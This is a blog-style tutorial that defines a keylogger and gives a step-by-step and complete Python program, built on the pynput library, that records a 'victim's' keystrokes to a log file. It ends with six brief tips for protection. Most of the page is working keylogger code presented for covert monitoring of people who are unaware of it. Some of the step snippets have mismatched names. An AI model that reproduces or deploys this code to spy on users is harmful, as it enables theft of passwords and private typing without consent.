Latest posts

10/recent/ticker-posts

What is a Key Logger | Python Program for KeyLogging |

What is a KeyLogger ?




Recording the keys struck on a keyboard, and the victim using keyboard is unware that their actions are being monitored. This logging program is called a Key Logger.

Data can then be retrived by the person operating the logging program.

Steps for Key Logging :

Step 1 : Install the following packages -
               pip install pynput

Step 2 : Import the euired libraries -

    import pynput
    from pynput.keyboard import key, Listener


Step 3 : Define a list to store keys and a variable to store character count

    charCount = 0
    keys = []


Let's write a function to perform some action when a key is pressed

    
    def onkeyPressed(key):
        try:
            print('key Pressed',key) # Print pressed key
        except Exception as ex:
            print('There was an error : ',ex)


Now, let's write a function to handle key release


    def onkeyRelease(key):
        global keys, charCount  # Access global variables
        if key == Key.esc:
            return False
        else:
            if key == Key.enter:   #Write keys to file
                writeToFile(keys)
                charCount = 0
                keys = []
            elif key == Key.space:  # Write keys to file
                key = ' '
                writeToFile(keys)
                keys = []
                charCount = 0
            keys.append(key)  # Store the keys
            charCount += 1    # Count Keys pressed


Finally, let's define a function that will log the keys pressed to a log file


    def writeToFile(keys):
        with open('log.txt','a') as file:
            for key in keys:
                key = str(key).replace("'","")  #Replace ' with space
                if 'key'.upper() not in key.upper():
                    file.write(key)
            file.write("\n")          # Insert new line


We can use the Listener provided by '**pynput'** to log the keys


    with Listener(on_press=onKeyPress,\
        on_release=onKeyRelease) as listener:
        listener.join()


Now Save the file and run the program in any IDE like, VS Code

6 ways to Protect Yourself against KeyLogger

1. Use a Firewall
2. Install a Password Manager
3. Update Your System
4. Consider Additional Security Tools
5. Change Your passwords
6. Remove any unwanted physical cable/device from system

Complete Program :



    import pynput
    from pynput.keyboard import Key, Listener

    charCount = 0
    keys = []

    def onKeyPress(key):
        try:
            print('key Pressed',key) # Print pressed key
        except Exception as ex:
            print('There was an error : ',ex)
       
    def onKeyRelease(key):
        global keys, charCount  # Access global variables
        if key == Key.esc:
            return False
        else:
            if key == Key.enter:   #Write keys to file
                writeToFile(keys)
                charCount = 0
                keys = []
            elif key == Key.space:  # Write keys to file
                key = ' '
                writeToFile(keys)
                keys = []
                charCount = 0
            keys.append(key)  # Store the keys
            charCount += 1    # Count Keys pressed
       
    def writeToFile(keys):
        with open('log.txt','a') as file:
            for key in keys:
                key = str(key).replace("'","")  #Replace ' with space
                if 'key'.upper() not in key.upper():
                    file.write(key)
            file.write("\n")          # Insert new line
       
    with Listener(on_press=onKeyPress,\
        on_release=onKeyRelease) as listener:
        listener.join()
   

Try Youself :



Tanks for Visit...

Stay aware, Stay Safe





Also Visit


Post a Comment

0 Comments